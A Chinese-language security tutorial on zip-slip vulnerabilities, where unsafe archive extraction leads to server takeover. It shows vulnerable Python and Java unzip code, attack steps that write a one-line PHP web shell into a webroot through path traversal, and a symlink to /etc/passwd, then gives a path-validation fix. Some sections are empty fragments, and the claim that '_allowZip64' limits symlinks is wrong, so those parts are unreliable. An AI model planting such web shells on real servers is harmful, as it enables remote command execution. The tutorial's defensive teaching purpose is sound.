不安全解压导致GetShell漏洞通常发生在应用程序解压缩用户上传的压缩文件时,未对解压路径进行充分校验,导致攻击者可以通过构造恶意压缩包实现任意文件写入,最终获取服务器控制权限。
../
的文件路径# 不安全的解压代码示例
import zipfile
def extract_zip(uploaded_file, extract_to):
with zipfile.ZipFile(uploaded_file, 'r') as zip_ref:
zip_ref.extractall(extract_to) # 危险:未校验解压路径
攻击方式:
1. 创建包含路径穿越的压缩包:
mkdir -p "evil/../../../webroot/uploads"
echo "<?php system($_GET['cmd']); ?>" > "evil/../../../webroot/uploads/shell.php"
zip -r malicious.zip evil/
2. 上传该压缩包,解压后WebShell将被写入到web目录
// Java不安全解压示例
public void unzip(File zipFile, String destDirectory) throws IOException {
ZipInputStream zipIn = new ZipInputStream(new FileInputStream(zipFile));
ZipEntry entry = zipIn.getNextEntry();
while (entry != null) {
String filePath = destDirectory + File.separator + entry.getName();
// 危险:未检查符号链接
if (!entry.isDirectory()) {
extractFile(zipIn, filePath);
}
zipIn.closeEntry();
entry = zipIn.getNextEntry();
}
zipIn.close();
}
攻击方式:
1. 创建指向/etc/passwd的符号链接:
ln -s /etc/passwd evil.txt
zip malicious.zip evil.txt
2. 上传后解压,可能导致敏感文件被覆盖或读取
路径校验:
def safe_extract(zip_file, extract_to):
with zipfile.ZipFile(zip_file) as z:
for file in z.namelist():
# 校验路径是否在目标目录内
abs_path = os.path.abspath(os.path.join(extract_to, file))
if not abs_path.startswith(os.path.abspath(extract_to)):
raise Exception("非法路径: " + file)
z.extract(file, extract_to)
禁用符号链接:
ZipFile
的_allowZip64
参数限制符号链接安全配置:
其他措施:
通过实施这些防御措施,可以有效防止因不安全解压导致的GetShell漏洞。